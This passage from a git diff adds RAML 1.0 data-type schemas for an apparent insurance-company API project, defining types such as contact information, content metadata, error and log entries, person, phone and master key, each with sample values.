social-media-lib: ../libraries/library-social-media.raml + +displayName: Contact Information + +type: object +additionalProperties: false + +properties: + languages: + displayName: List of Languages + description: The preferred language has the highest preference-index number + required: false + type: language-lib.languages + addresses: + displayName: List of Addresses + required: false + type: address-lib.addresses + phones: + displayName: List of Phones + required: false + type: phone-lib.phones + emails: + displayName: List of Emails + required: false + type: email-lib.email-addresses + social-media-accounts: + displayName: List of Social Media Accounts + required: false + type: social-media-lib.social-media-accounts + +example: + languages: + - name: English + code: en + preference-index: 1 + - name: Spanish + code: es + preference-index: 0 + addresses: + - context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + country: USA + postal-code: "19104" + additional-postal-code: "6388" + - context: work + line1: 101 Walnut St + line2: Suite 2300 + city: Philadelphia + state-region-code: PA + country: USA + postal-code: "19104" + phones: + - context: home + area-code: "212" + phone-number: 255-5584 + - context: work + area-code: "212" + phone-number: 257-8400 + ext: "1378" \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content-data.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content-data.raml new file mode 100644 index 0000000..ac7cccf --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content-data.raml @@ -0,0 +1,19 @@ +#%RAML 1.0 DataType + +displayName: Content Data +description: This represents the data part of the content in a printable, non-binary form. For example, a pdf document can be represented as a binary stream and can be passed around in MIME type application/octet-stream or application/pdf. That octet stream can also be Base64 encoded and a resulting printable array of characters can be used to represent the same pdf document. This type is used only for representations that can be printed as an array of characters. In cases where the content has to be passed as binary application/octet-stream should be used. + +type: object +additionalProperties: true + +properties: + data: + displayName: Base64 Encoded Content Data + description: Base64 encoding schemes are commonly used when there is a need to encode binary data that needs be stored and transferred over media that are designed to deal with textual data such as XML or JSON. This is to ensure that the data remains intact without modification during transport. + required: false + type: string + type: + displayName: Data Type + description: The data is an array of printable characters. The type indicates the original form. For example, if the data is Base64 encoded, and we Base64 decode the data, the resulting output may be a binary for application/pdf or application/msword. + required: false + diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content-metadata.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content-metadata.raml new file mode 100644 index 0000000..954a01d --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content-metadata.raml @@ -0,0 +1,243 @@ +#%RAML 1.0 DataType + +uses: + basic-q-lib: ../libraries/library-basic-questions-set.raml + property-lib: ../libraries/library-property.raml + version-lib: ../libraries/library-version.raml + +displayName: Content Metadata +description: Data about any content's data. This type is part of the content type. However, it can also be used independently as part of a multipart/* where one of the parts describes the metadata and the other parts may be octet stream. + +type: object +additionalProperties: true + +properties: + content-id: + displayName: Content ID + description: The unique ID that represents a content + required: false + type: string + correlated-content-ids: + displayName: Correlated content IDs + description: An array of content-ids that are related to this content and their relation type. Four types of relationships are recognized, namely, parent, child, sibling and associated. + required: false + type: property-lib.properties + examples: + parent-only-example: + value: + - type: parent + value: doc-1234567890 + parent-and-children-example: + value: + - type: parent + value: doc-1234567890 + - type: child + value: doc-1234567999 + - type: child + value: doc-1234560000 + parent-children-and-siblings-example: + value: + - type: parent + value: doc-1234567890 + - type: child + value: doc-1234567999 + - type: child + value: doc-1234560000 + - type: sibling + value: doc-1234561111 + content-type: + displayName: Content Type + description: What type of content is being represented. Content can be document, image, video, audio, table such as spreadsheets, drawings such as diagrams, or sites that contain content at a referenceable location. + required: false + enum: + - document + - image + - video + - audio + - table + - drawing + - site + content-mime-type: + displayName: Content MIME Type + description: The MIME type of the content, such as application/pdf, image/png, application/msword/ application/epub+zip, application/octet-stream, etc. + required: false + location: + displayName: Location + description: | + Detailed information about the location of the content. A content can be a record in a database, a file in a file system, in a referencable site, or some other type of an entry that have not been defined at this point in time. + The ultimate goal of the location property is to "locate" where the content has been persisted. + The consumer originally would not know this information but would get this information from the provider as part of the metadata. + An array of name value pairs can generically define any location. + location-type: (database | file-system | reference) + database: name of the database + schema: name of the schema, owner, plan etc. + table: name of the table, view, etc. + os: name of the operating system + file-path: complete path in that operating system + file-name: the name of the file where the content has been persisted + reference-type: what type of reference is the content located at + reference-uri: the uri that shows the exact location of the content + required: false + type: property-lib.properties + example: + value: + - name: location-type + value: database + - name: database + value: GRC001DB + - name: table + value: RECORDS + + title: + displayName: Title + required: false + type: string + example: Business Architecture for IT Managers + subject: + displayName: Subject + required: false + type: string + example: Business Architecture Basics + author: + displayName: Original Author + required: false + type: string + manager: + displayName: Author's Manager + required: false + type: string + categories: + displayName: Categories + description: Content may belong to different categories. These categories may be used to persist the content in different locations so that their search can be executed more effectively. For example, contents that contain claim information may be persisted in a claim repository with other claim content, while content that contains application information may be persisted in a different repository. These line of business categorization may be used to organize content in more manageable ways. There may be other types of categorizations such as the freshness of the content. Some active content may be persisted in a location that can read and written very quickly. Some much older content that has been used but cannot be deleted can be archived. Even though the location is much harder to reach and much slower to read, the content is still available, yet in a different location. Since there is no way of knowing how many of these categorization keys are available, this property is an array of name value pairs + required: false + type: property-lib.properties + example: + value: + - name: line-of-business + value: Individual-Claim + - name: freshness + value: archived + keywords: + displayName: Keywords + description: Keywords are special informative words that can be tagged to content and later can be used for search and retrieval of that content. + required: false + type: string[] + example: ["Account","Invoice","Correction"] + comments: + displayName: Comments + required: false + type: basic-q-lib.basic-questions-sets + example: + - what: original version created + who: Jane Doe + when: 2018-08-31T15:42:16.000Z + - what: added Chapter 3 for recipies + who: Jane Doe + when: 2018-09-01T14:42:16.000Z + company: + displayName: Company that ownes the Content + required: false + type: string + example: Aflac + template-name: + displayName: Content Template + required: false + type: string + events: + displayName: Important milestone events of the content + description: Important events of a content are the creation, last update, check-in, check-out, print and others. + required: false + type: basic-q-lib.basic-questions-sets + example: + - what: created + who: Jane Doe + when: 2018-08-31T15:42:16.000Z + - what: checked-out + who: Jane Doe + when: 2018-09-01T14:42:16.000Z + - what: printed + who: Jane Doe + when: 2018-09-01T14:52:48.000Z + - what: updated + who: Jane Doe + when: 2018-09-01T15:00:10.000Z + - what: checked-in + who: Jane Doe + when: 2018-09-01T15:10:25.000Z + version: + displayName: Current Version + required: false + type: version-lib.version + size-in-bytes: + displayName: Content Size + description: The size of the content's data in bytes + required: false + type: number + custom-fields: + displayName: Custom Fields + required: false + type: property-lib.properties +examples: + read-example: + value: + content-id: ABCDEF01-2541-3526-AADD-1245789630ABCDEF + correlated-content-ids: + - type: parent + value: doc-1234567890 + - type: child + value: doc-1111 + - type: sibling + value: doc-2222 + content-type: document + content-mime-type: application/pdf + location: + - name: location-type + value: database + - name: database + value: GRC001DB + - name: table + value: RECORDS + title: Business Architecture for IT Managers + subject: Business Architecture Basics + author: Dr. John D. Litmus + manager: Greg Peterson + categories: + - name: source + value: FileNet + - name: line-of-business + value: individual claim + - name: freshness + value: active + keywords: + - Account + - Invoice + - Correction + comments: + - what: original version created + who: Jane Doe + when: 2018-08-31T15:42:16.000Z + - what: added Chapter 3 for recipies + who: Jane Doe + when: 2018-09-01T14:42:16.000Z + company: Aflac + template-name: TMPL-PDF-11234432 + events: + - what: created + who: Jane Doe + when: 2018-08-31T15:42:16.000Z + - what: checked-out + who: Jane Doe + when: 2018-09-01T14:42:16.000Z + - what: printed + who: Jane Doe + when: 2018-09-01T14:52:48.000Z + - what: updated + who: Jane Doe + when: 2018-09-01T15:00:10.000Z + - what: checked-in + who: Jane Doe + when: 2018-09-01T15:10:25.000Z + version: + full: 1.0.0 + size-in-bytes: 155478445 + \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content.raml new file mode 100644 index 0000000..09e61ff --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content.raml @@ -0,0 +1,47 @@ +#%RAML 1.0 DataType + +uses: + content-lib: ../libraries/library-content.raml + +displayName: Content +description: | + Content is digitized data that can only be consumed wholly. There are different types of content, such as document, image, audio, video, table, drawing, etc. + Content has two parts + 1) Data, that is the actual content + 2) Metadata, that is data about the data. + This type is a container of the data and metadata types, so that they can be moved together if needed. + This type is used when the content is being passed as an XML or JSON object. If the data is being passed using a multipart/* MIME type then only the metadata part can be used. + +type: object +additionalProperties: true + +properties: + content-id: + displayName: Content ID + description: A unique ID that represents the content. The same value exists in the metadata section. It is duplicated here for convenience. + required: false + + content-type: + displayName: Content Type + description: The type of the content. The same value exists in the metadata section. It is duplicated here for convenience. + required: false + enum: + - document + - image + - video + - audio + - table + - drawing + - site + + data: + displayName: Data + description: Data + required: false + type: content-lib.content-data + + metadata: + displayName: Metadata + description: Metadata + required: false + type: content-lib.content-metadata diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-contextual.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-contextual.raml new file mode 100644 index 0000000..ea115b2 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-contextual.raml @@ -0,0 +1,18 @@ +#%RAML 1.0 DataType + +displayName: Contextual +description: This is a type that is best used for inheritance to give a context to any inheriting object. + +type: object +additionalProperties: false + +properties: + context: + displayName: Context + required: false + type: string + description: a name that represents the context an object is in. For example, the context of an email can be 'personal', or 'work', the context of a phone number can be 'office', 'cell', or 'home'. + +examples: + json-example: + {"context": "work"} diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-currency.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-currency.raml new file mode 100644 index 0000000..35dc1da --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-currency.raml @@ -0,0 +1,22 @@ +#%RAML 1.0 DataType + +displayName: Currency + +type: object +additionalProperties: false + +properties: + code: + description: | + The currency abbreviation as listed in https://www.easymarkets.com/int/learn-centre/discover-trading/currency-acronyms-and-abbreviations/ + Not an enum. + required: false + type: string + amount: + required: false + type: number + minimum: 0.0 + +example: + code: USD + amount: 123.45 \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-document-statistic.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-document-statistic.raml new file mode 100644 index 0000000..e6c9b9a --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-document-statistic.raml @@ -0,0 +1,44 @@ +#%RAML 1.0 DataType + +displayName: Document Statistic +description: Information regarding the size of a text based document. +additionalProperties: true + +properties: + number-of-characters: + required: false + type: number + example: 6457 + number-of-characters-with-spaces: + required: false + type: number + example: 7301 + number-of-words: + required: false + type: number + example: 563 + number-of-sentences: + required: false + type: number + example: 52 + number-of-paragraphs: + required: false + type: number + example: 8 + number-of-pages: + required: false + type: number + example: 3 + number-of-lines: + required: false + type: number + example: 104 + +example: + number-of-characters: 6457 + number-of-characters-with-spaces: 7301 + number-of-words: 563 + number-of-sentences: 52 + number-of-paragraphs: 8 + number-of-pages: 3 + number-of-lines: 104 \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-email-address.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-email-address.raml new file mode 100644 index 0000000..4c2bf74 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-email-address.raml @@ -0,0 +1,19 @@ +#%RAML 1.0 DataType + +uses: + lib: ../libraries/library-context-and-preference.raml + +displayName: Email Address + +type: [lib.preferable, lib.contextual] +additionalProperties: false + +properties: + address: + displayName: Full email address + required: false + type: string + +example: + context: work + address: john.doe@company.com \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-error.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-error.raml new file mode 100644 index 0000000..8e4726b --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-error.raml @@ -0,0 +1,33 @@ +#%RAML 1.0 DataType + +displayName: Aflac Error Type +description: The type to be used in all Aflac Software Components to report an error condition + +type: object +additionalProperties: false + +properties: + transaction-id: + displayName: Transaction ID + description: This is the unique id that flows throughout a request process. By providing the transaction ID the complete records regarding that request can be retrieved from an appropriate system. + type: string + required: false + type: + displayName: Error Type + type: string + required: false + message: + displayName: Error Message + type: string + required: false + time: + displayName: Occurence Time + type: string + required: false + description: The timestamp will be shown in GMT + +example: + transaction-id: aaaaaaaa-bbbb-cccc-dddd-0123456789ab + type: Data error + message: String value was expected but number value received + time: 2018-05-31T15:00:06,325Z \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-habit.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-habit.raml new file mode 100644 index 0000000..45a5b76 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-habit.raml @@ -0,0 +1,61 @@ +#%RAML 1.0 DataType + +displayName: Habit +description: A habit is a repeated behaviour of doing something. Smoking, vaping, drinking, video game playing can all be habits. This object captures the amount and frequency of a habit. + +type: object +additionalProperties: false + + +properties: + habit-name: + displayName: Habit Name + description: Name of the habit + required: false + type: string + usage-amount: + displayName: Usage Amount + description: a number that represents the usage + required: false + type: number + usage-unit: + displayName: Usage Unit + description: unit of the usage amount + required: false + type: string + time-amount: + displayName: Time Amount + description: a number that represents per time + required: false + type: number + time-unit: + displayName: Time Unit + description: unit that represents time amount + required: false + type: string + +examples: + smoking-example: + habit-name: smoking + usage-amount: 2 + usage-unit: pack + time-amount: 1 + time-unit: day + gaming-example: + habit-name: video games + usage-amount: 6 + usage-unit: hour + time-amount: 1 + time-unit: day + drinking-example1: + habit-name: beer consumption + usage-amount: 6 + usage-unit: can + time-amount: 1 + time-unit: day + drinking-example2: + habit-name: coffee consumption + usage-amount: 10 + usage-unit: cup + time-amount: 1 + time-unit: week diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-language.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-language.raml new file mode 100644 index 0000000..ffef655 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-language.raml @@ -0,0 +1,32 @@ +#%RAML 1.0 DataType + +uses: + lib: ../libraries/library-context-and-preference.raml + +displayName: Language +description: This data structure contains the language information of a person + +type: [lib.preferable, lib.contextual] +additionalProperties: false + +properties: + name: + displayName: Language Name + description: The spelled out name of the language such as English or Spanish + type: string + required: false + code: + displayName: ISO Language Code + description: ISO 639-1, 2 character language code as it is listed here https://www.loc.gov/standards/iso639-2/php/code_list.php + type: string + required: false + locale: + displayName: Language Locale + description: The locale that determines the accent and dialect such as US vs UK for English + type: string + required: false + +example: + name: English + code: en + locale: US diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-log-entry.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-log-entry.raml new file mode 100644 index 0000000..a99c633 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-log-entry.raml @@ -0,0 +1,92 @@ +#%RAML 1.0 DataType + +displayName: Aflac Log Entry Type +description: The type to be used in all Aflac Software Components when logging any activity + +type: object +additionalProperties: false + +properties: + transaction-id: + displayName: Transaction ID + description: | + The GUID that uniquely identifies the consumer's request. + This id should originate from the consumer. + If the consumer cannot produce a unique id, then the first point of contact software component produces it on behalf of the consumer. + This id continues to be propagated to downstream components via the Aflac-Timestamps header, both in request and response flows. + type: string + required: false + level: + displayName: Log Entry Level + required: false + enum: + - FATAL + - ERROR + - WARN + - INFO + - DEBUG + - TRACE + code: + displayName: Entry Code + description: Any code that can be used to identify a condition, both success or failure. This can be a response code, a status code that is specific to a protocol + type: string + required: false + examples: + http_example: HTTP 404 + amqp_example: AMQP 9903 + sql_example: JDBC 3001 + jms_example: JMS 668 + origin: + displayName: Origination Point + description: Information regarding what has created this log entry + required: false + type: !include dataType-code-origin.raml + message: + displayName: Any message in free text form for additional information + type: string + required: false + time: + displayName: Occurence Time + description: | + When the software component creates this log entry. + GMT long number. + Instead of using a formatted date-time string use the long number that represents the GMT time in milliseconds. + This element is especially important to provide with the Traffic Direction and Origination Point to calculate all system performance. + The accuracy of the system performance information depends on the machine time synchronization with a master clock. + type: number + required: false + direction: + displayName: Traffic Direction + description: | + A software component can have the following 4 traffic modes + - RequestFromConsumer: The component has just received a request from a consumer + - ResponseToConsumer: The component is about to send the response back to the consumer + - RequestToProvider: The component is making a request to another provider + - ResponseFromProvider: The component has just received a response from the provider + required: false + enum: + - RequestFromConsumer + - ResponseToConsumer + - RequestToProvider + - ResponseFromProvider + +examples: + info-example: + transaction-id: B744DF0B-0B71-4A0C-9F5A-8D45F204987D + level: INFO + origin: + node: PCNSDBSQL01 + component: Account API + message: Received a request from ABC Consumer + time: 157002458744 + direction: RequestFromConsumer + error-example: + transaction-id: B744DF0B-0B71-4A0C-9F5A-8D45F204987D + level: ERROR + code: HTTP 429 + origin: + node: PCNSDBSQL01 + component: Account API + message: Limit Exceeded. This API does not allow ABC consumer more than 10 requests per minute" + time: 157002458744 + direction: RequestFromConsumer diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-master-key.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-master-key.raml new file mode 100644 index 0000000..4e793e7 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-master-key.raml @@ -0,0 +1,49 @@ +#%RAML 1.0 DataType + +uses: + source-lib: ../libraries/library-source.raml + +displayName: Master Key +description: | + The master key is a generically reusable object that can uniquely identify any record in any system. Master key can also uniquely identify the combined data of an entity from all systems using a global id. + As an example, consider a business entity called Person. The Person's full information may have been distributed on several Source systems. If we read all Source systems and combine the data, removing redundant elements, we would reach a complete Person record. The Person's record in System 1 may be identitified by an element such as SSN, in System 2 it may be identified by many elements, such as full name, date of birth and location of birth, in System 3 may be idenitified by an internal ID. Each system may contain pieces of important information and some information may have been redundantly stored in more than one source system. + +type: object +additionalProperties: false + +properties: + type: + displayName: Object's Type Name + description: The name of the object's type. This should be a concrete business entity name that makes sense in Aflac's business, such as a policyholder, associate, account, invoice, etc. + required: false + type: string + guid: + displayName: Global Unique ID + description: A unique ID that represents a specific entity across all systems + required: false + type: string + sources: + displayName: Sources + description: the list of sources each of which contains some or all parts of an entity's full information + type: source-lib.sources + required: false +examples: + policyholder-example: + type: policyholder + guid: 12345678-ABCD-DEFA-0001-0123456789ABCDEF + sources: + - source-name: Customer Information File + source-code: CIF + resource-keys: + - name: CIFNumber + value: PH5534265142 + type: string + - source-name: SalesForce + source-code: SFE + resource-keys: + - name: SFID + value: 112233445566ASDD + type: string + + associate-example: + type: associate diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-organization.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-organization.raml new file mode 100644 index 0000000..98be2c3 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-organization.raml @@ -0,0 +1,38 @@ +#%RAML 1.0 DataType + +uses: + party-lib: ../libraries/library-party.raml + +displayName: Organization +description: Organization represents any business + +type: party-lib.party +additionalProperties: false + +properties: + organization-name: + displayName: Organization Name + description: Full name of the organization + required: false + type: string + date-of-establishment: + displayName: Date of Establishment + description: Organization's first day of official existence + required: false + type: date-only + date-of-disestablishment: + displayName: Date of Disestablishment + description: Organization's last day of official existence + required: false + type: date-only + total-employee-count: + displayName: Total Employee Count + description: Number of employees an organization has + required: false + type: integer + tax-id: + displayName: Tax ID + description: Government issued tax ID + required: false + type: property-lib.property + diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-party.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-party.raml new file mode 100644 index 0000000..903d075 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-party.raml @@ -0,0 +1,37 @@ +#%RAML 1.0 DataType + +uses: + role-lib: ../libraries/library-role.raml + +displayName: Party +description: | + Any entity that can take part in a business transaction and can be interacted with is considered a party. There are two main groups, person and organization. + In Aflac's business, examples in person category include Associates, Applicants, Insurance Agreement Holders, Beneficiaries, Employees, Dependents and so on. Examples in organization category include Accounts, Brokers and Third Party Administrators. + Each of these examples is considered to be a role of a party. For example, a party can be both an associate, an applicant and an insurance agreement holder. Each of these roles may have some common properties and some role specific properties. + +type: object +additionalProperties: false + +properties: + party-name: + displayName: Party Name + description: The name of the party. If the party is of type Person, this is set to the Person's full name. If the party is of Type Organization, this is set to the name of the organization. + required: false + type: string + + party-type: + displayName: Party Type + description: Type of the party whether it is of Person or Organization. When Person is selected the person-info property is populated, and organization-info property is not populated. When Organization is selected, the organization-info property is populated and person-info property is not populated. When it is left as unset, it is not definitive which *-info is populated. Both person-info and organization-info properties must NOT be populated in the same party instance. + type: string + required: false + enum: + - Person + - Organization + - Unset + default: Unset + + roles: + displayName: Roles + description: Every party instance may represent one or more roles. + required: false + type: role-lib.roles \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-performance-node.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-performance-node.raml new file mode 100644 index 0000000..d1d4787 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-performance-node.raml @@ -0,0 +1,43 @@ +#%RAML 1.0 DataType + +displayName: Performance Node +description: This object represents a component node which captures a request or response entry or exit point. + +type: object +additionalProperties: false + +properties: + n: + displayName: Node + description: The name of the machine on which the component is executing. If the machine is a node in a cluster the exact name of the machine needs to be used + required: false + type: string + c: + displayName: Component + description: The name of the software component that is handling the request or response + required: false + type: string + t: + displayName: Time + description: the time when the traffic has entered or left the component. This is a long number of the GMT rather than any formatted time string. + required: false + type: number + s: + displayName: Status + description: this field only applicable for a response and shows the status of the response. + required: false + type: string + d: + displayName: Direction + description: | + the direction of the traffic + uQ : stands for upstreamReQuest. Use this value when your component receives a request from the upstream flow. This indicates that the request is coming into your component. + uS : stands for upstreamReSponse. Use this value when your component returns a response to the upstream flow. This indicates that the response is going back to the component's consumer. + dQ : stands for downstreamReQuest. Use this value when your component is sending a request to another coomponent in the downstream flow. This indicates that the request is leaving your component. + dS : stands for dowstreamReSponse. Use this value when your component receives the response from the dowstream request. This indicates that the response has arrived into your component. + required: false + enum: + - uQ + - uS + - dQ + - dS \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-performance-report.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-performance-report.raml new file mode 100644 index 0000000..e11bb24 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-performance-report.raml @@ -0,0 +1,22 @@ +#%RAML 1.0 DataType + +uses: + performance-lib: ../libraries/library-performance.raml + +type: object +additionalProperties: false + +properties: + active: + displayName: Activation Flag + description: | + A consumer can set this flag to true which will enable the creation of performance report in the header. + This indicates all downstream components to collect and update the aflac-performance-report header object values accordingly. + required: false + type: boolean + default: false + ns: + type: performance-lib.performance-nodes + +examples: + !include ../examples/example-performance-report.raml \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-person-name.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-person-name.raml new file mode 100644 index 0000000..acde767 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-person-name.raml @@ -0,0 +1,45 @@ +#%RAML 1.0 DataType + +displayName: Name +description: Structure to represent a person's full name + +type: object +additionalProperties: false + +properties: + salutation: + required: false + enum: + - Mr. + - Ms. + - Mrs. + first-name: + required: false + type: string + middle-name: + required: false + type: string + last-name: + required: false + type: string + suffix: + required: false + type: string + nick-names: + required: false + type: array + items: string +examples: + regular-example: + salutation: Mr. + first-name: John + middle-name: F + last-name: Remedy + suffix: III + nick-names: [Babyface, Softhands] + extended-example: + salutation: Mr. + first-name: John + middle-name: F + last-name: Remedy + suffix: III \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-person.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-person.raml new file mode 100644 index 0000000..8c8130d --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-person.raml @@ -0,0 +1,103 @@ +#%RAML 1.0 DataType + +uses: + party-lib: ../libraries/library-party.raml + person-name-lib: ../libraries/library-person-name.raml + address-lib: ../libraries/library-address.raml + habit-lib: ../libraries/library-habit.raml + property-lib: ../libraries/library-property.raml + + + +displayName: Person + +type: party-lib.party +additionalProperties: false + +properties: + name: + displayName: Person's full name + required: false + type: person-name-lib.person-name + gender: + displayName: Person's gender + required: false + enum: + - Male + - Female + - Other + - Unknown + date-of-birth: + displayName: Person's date of birth + required: false + type: date-only + location-of-birth: + displayName: Person's location of birth + required: false + type: address-lib.address + date-of-death: + displayName: Person's date of death + required: false + type: date-only + ethnicity: + displayName: Person's Ethnicity + required: false + type: string + marital-status: + displayName: Marital Status + description: Current Marital Status of a Person, such as, single, married, divorced, widowed etc. + required: false + type: string + social-security-number: + displayName: Social Security NUmber + description: Government issued social security number + required: false + type: property-lib.property + habits: + displayName: Habits + description: a collection of all habits a person may have + required: false + type: habit-lib.habits +examples: + regular-example: + name: + salutation: Mr. + first-name: John + middle-name: F + last-name: Remedy + suffix: III + gender : Male + date-of-birth: 1999-01-01 + social-security-number: + type: string + value: ASS45ffwr+== + encryption-flag: encrypted + location-of-birth: + city: Atlanta + state-region-code: GA + country: USA + extended-example: + name: + salutation: Mr. + first-name: John + middle-name: F + last-name: Remedy + suffix: III + gender : Male + date-of-birth: 1999-01-01 + location-of-birth: + city: Atlanta + state-region-code: GA + country: USA + marital-status: married + habits: + - habit-name: video games + usage-amount: 6 + usage-unit: hour + time-amount: 1 + time-unit: day + - habit-name: beer consumption + usage-amount: 6 + usage-unit: can + time-amount: 1 + time-unit: day diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-phone.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-phone.raml new file mode 100644 index 0000000..8443215 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-phone.raml @@ -0,0 +1,32 @@ +#%RAML 1.0 DataType + +uses: + core: ../libraries/library-context-and-preference.raml + +displayName: Phone +description: Used to express the values of any phone number in the world + +type: [core.preferable, core.contextual] +additionalProperties: false + +properties: + country-code: + required: false + type: string + area-code: + required: false + type: string + phone-number: + required: false + type: string + ext: + displayName: phone extension + required: false + type: string + +example: + context: Mobile + country-code: "1" + area-code: "877" + phone-number: 763-3000 + ext: "24558" \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-policyholder.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-policyholder.raml new file mode 100644 index 0000000..c055464 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-policyholder.raml @@ -0,0 +1 @@ +#%RAML 1.0 DataType \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-preferable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-preferable.raml new file mode 100644 index 0000000..320fc02 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-preferable.raml @@ -0,0 +1,15 @@ +#%RAML 1.0 DataType + +displayName: Preference Index +type: object +additionalProperties: false + +properties: + preference-index: + required: false + type: integer + displayName: Preference Index + description: Preference index is an integer number between 0 and 9. If there are many contact methods a party can be reached at, the contact information with the highest preference index is to be chosen. Preference index number can span multiple types of contact information, for example, a party can have 2 addresses, 3 phones and 1 email address, altogether 6 contact methods with preference indexes, 0, 0, 9, 0, 0, 1, respectively. This would mean that the party prefers to be contacted first through the 1st phone number and second through the email address and the party does not want to be contacted through anything else even though those additional contact information has been provided. + default: 0 + example: 3 + \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-property.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-property.raml new file mode 100644 index 0000000..b0ae300 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-property.raml @@ -0,0 +1,61 @@ +#%RAML 1.0 DataType + +displayName: 